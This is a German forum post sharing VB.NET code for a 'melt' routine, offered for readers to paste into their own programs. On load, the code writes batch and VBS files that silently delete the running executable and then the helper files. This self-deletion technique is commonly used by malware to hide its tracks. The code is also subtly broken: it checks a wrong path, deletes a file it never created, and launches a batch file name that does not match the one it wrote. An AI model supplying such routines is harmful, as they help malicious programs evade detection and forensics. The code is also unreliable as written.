[vb.net] funzender melt bei inmate =)

[inmate]

so ich hatte grade langeweile und habe mal nen melt code geschrieben.
fügt das in eure form1 ein =)


Imports System.IO
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
'wir erstellen eine neue datei mit dem streamwriter im pfad unserer melttest.exe


Dim Stream = New StreamWriter(My.Application.Info.DirectoryPath & "\melt.bat")
'und schreiben die benötigten .bat optionen zu deleten rein
Stream.WriteLine("@echo off")
Stream.WriteLine(":melt")
Stream.WriteLine("del """ & Application.ExecutablePath & """ 2>nul")
Stream.WriteLine("if exist """ & Application.ExecutablePath & "e"" goto melt")
Stream.WriteLine("del ""test.bat"" 2>nul")
Stream.WriteLine("start mellt.vbs")
Stream.Close()
'die folgende datei startet die melt.bat versteckt
Dim sstream = New StreamWriter(My.Application.Info.DirectoryPath & "\mellt.vbs")
sstream.WriteLine("WScript.CreateObject(""WScript.Shell"").Run ""melt.bat"",0,0")
sstream.Close()
'die folgende datei startet die mellt.vbs
Dim vbsstream = New StreamWriter(My.Application.Info.DirectoryPath & "\vbsdeleta.bat")
vbsstream.WriteLine("@ echo off")
vbsstream.WriteLine("start mellt.vbs")
vbsstream.Close()
Process.Start(My.Application.Info.DirectoryPath & "\vbsdeleta.bat")
'die endbat.bat löscht alle 3 dateien
Dim endmelt = New StreamWriter(My.Application.Info.DirectoryPath & "\endbat.bat")
endmelt.WriteLine("@ echo off")
endmelt.WriteLine("del melt.bat")
endmelt.WriteLine("del mellt.vbs.")
endmelt.WriteLine("del vbsdeleta.bat")
endmelt.WriteLine("del endbat.bat")
endmelt.Close()
Process.Start(My.Application.Info.DirectoryPath & "\endmelt.bat")

End Sub

End Class
Er ist ein bisschen lang aber das musste sein , anders gehts nicht sonst hängt die .bat sich auf weil der pfad zu lang ist .


mfG